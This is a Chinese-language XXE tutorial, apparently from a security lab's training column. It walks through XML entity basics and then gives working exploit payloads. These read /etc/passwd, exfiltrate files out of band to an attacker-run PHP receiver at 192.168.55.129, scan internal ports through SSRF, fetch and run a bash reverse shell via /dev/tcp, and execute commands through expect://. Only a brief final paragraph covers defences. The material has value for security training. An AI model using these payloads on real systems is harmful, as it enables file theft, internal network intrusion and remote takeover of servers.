實戰講解XXE漏洞的利用與防禦策略
現在許多不同的客戶端技術都可以使用XMl向業務應用程序發送消息,為了使應用程序使用自定義的XML消息,應用程序必須先去解析XML文檔,並且檢查XML格式是否正確。當解析器允許XML外部實體解析時,就會造成XXE漏洞,導致服務器被攻擊。本期“安仔課堂”,ISEC實驗室的李老師為我們詳細解析XXE漏洞的利用和防禦。
一、XML基礎知識
XML是用於標記電子文件並使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don‘t forget the meeting!</body>
</note>
DTD(文檔類型定義)的作用是定義XML文檔的合法構建模塊。DTD可以在XML文檔內聲明,也可以外部引用。
內部聲明DTD:<!DOCTYPE 根元素 [元素聲明]>;
引用外部DTD:<!DOCTYPE 根元素 SYSTEM "文件名">或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">;
DTD實體是用於定義引用普通文本或特殊字符的快捷方式的變量,可以內部聲明或外部引用。
內部聲明實體:<!ENTITY 實體名稱 "實體的值">;
引用外部實體:<!ENTITY 實體名稱 SYSTEM "URI">。
二、XML外部實體
使用XML主要是為了使兩個采用不同技術的系統可以通過XML進行通信和交換數據。而有些XML文檔包含system標識符定義的“實體”,這些XML文檔會在DOCTYPE頭部標簽中呈現。這些定義的“實體”能夠訪問本地或遠程的內容。比如,下面的XML文檔樣例就包含了XML“實體”:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "file://etc/passwd" >]>
<root>
<name>&XXE;</name>
</root>
在上面的代碼中,XML外部實體“XXE”被賦予的值為:file://etc/passwd。在解析XML文檔的過程中,實體“XXE”的值會被替換為URI(file://etc/passwd)內容值(也就是passwd文件的內容)。關鍵字“SYSTEM”會告訴XML解析器,“XXE”實體的值將從其後的URI中讀取。
三、XML外部實體攻擊
當XML允許引用外部實體,關鍵字“SYSTEM”會令XML解析器從URI中讀取內容,並允許它在XML文檔中被替換。因此,攻擊者可以通過實體將他自定義的值發送給應用程序,然後讓應用程序去呈現。
簡單來說,攻擊者強制XML解析器去訪問攻擊者指定的資源內容(可能是系統上本地文件亦或是遠程系統上的文件)。而不同的XML解析器,對外部實體有不同的處理規則。
在PHP中默認處理的函數為xml_parse和simplexml_load,xml_parse的實現方式為expat庫,默認情況不會解析外部實體,而simplexml_load默認情況下會解析外部實體,造成安全威脅。除PHP外,在Java、Python等處理XML的組件及函數中,都可能存在此問題。
如何判斷是否存在XML外部實體攻擊?那就是尋找那些接受XML作為輸入內容的端點,而有些端點可能並不是那麽明顯,比如一些僅使用JSON去訪問服務的客戶端,可以通過修改HTTP的請求或修改Content-Type頭部字段等方法,然後看應用程序的響應,看程序是否解析了發送的內容,如果解析了,那麽就可能存在XXE攻擊漏洞。
四、XXE漏洞測試
借助XXE,攻擊者可以實現任意文件讀取,DDOS拒絕服務攻擊以及代理掃描內網等。
1.任意文件讀取漏洞測試
當有回顯時,直接利用payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "file://etc/passwd" >]>
<root>
<name>&XXE;</name>
</root>
可以進行任意文件讀取文件:
圖1
當無回顯時,引用遠程服務器上的XML文件讀取文件:
將以下get.php,1.xml保存到自己的WEB服務器下
get.php:
<?php
$xml=$_GET[‘xml‘];
$base=base64_decode($xml);
file_put_contents(‘data.txt‘, $base);
?>
1.xml:
<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM ‘http://192.168.55.129/get.php?xml=%payload;‘>">
%int;
%trick;
直接發送payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.55.129/1.xml">
%remote;]>
<root/>
就能讀取任意文件並把數據保存到本地的data.txt文件裏:
圖2
2.探測內網端口和網站
有回顯時,直接發送payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&XXE;</name>
</root>
端口存在時會返回頁面報錯信息:
圖3
端口不存在時,返回無法連接的報錯信息:
圖4
無回顯時,修改1.xml文件,把file協議修改為需要掃描的IP:
<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.55.129">
<!ENTITY % int "<!ENTITY % trick SYSTEM ‘http://192.168.55.129/get.php?xml=%payload;‘>">
%int;
%trick;
直接發送payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.55.129/1.xml">
%remote;]>
<root/>
當端口存在web頁面,也可獲得內網網站的的頁面源代碼:
圖5
3.攻擊內網網站
若內網網站存在命令執行漏洞時:
將以下bash.txt保存至自己的WEB服務器下:
bash.txt:
bash -i >& /dev/tcp/192.168.55.129/8877 0>&1
發送以下payload獲取bash.txt文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=curl%20-o%20/tmp/1.txt%20192.168.55.129/bash.txt" >]>
<root>
<name>&XXE;</name>
</root>
圖6
在本機監聽一個端口:
圖7
發送一下payload,獲得反彈shellcode命令:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=/bin/bash%20/tmp/1.txt" >]>
<root>
<name>&XXE;</name>
</root>
圖8
4.執行系統命令
若安裝expect擴展的PHP環境裏還可以直接執行系統命令,其他協議也有可能可以執行系統命令。
直接執行payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "expect://id" >]>
<root>
<name>&XXE;</name>
</root>
五、防禦XXE攻擊
防禦XXE攻擊主要有三方面:一是檢查所使用的底層XML解析庫,默認禁止外部實體的解析;二是若使用第三方應用代碼需要及時升級補丁;三是對用戶提交的XML數據進行過濾,如關鍵詞:<!DOCTYPE和<!ENTITY或者SYSTEM和PUBLIC等。
實戰講解XXE漏洞的利用與防禦策略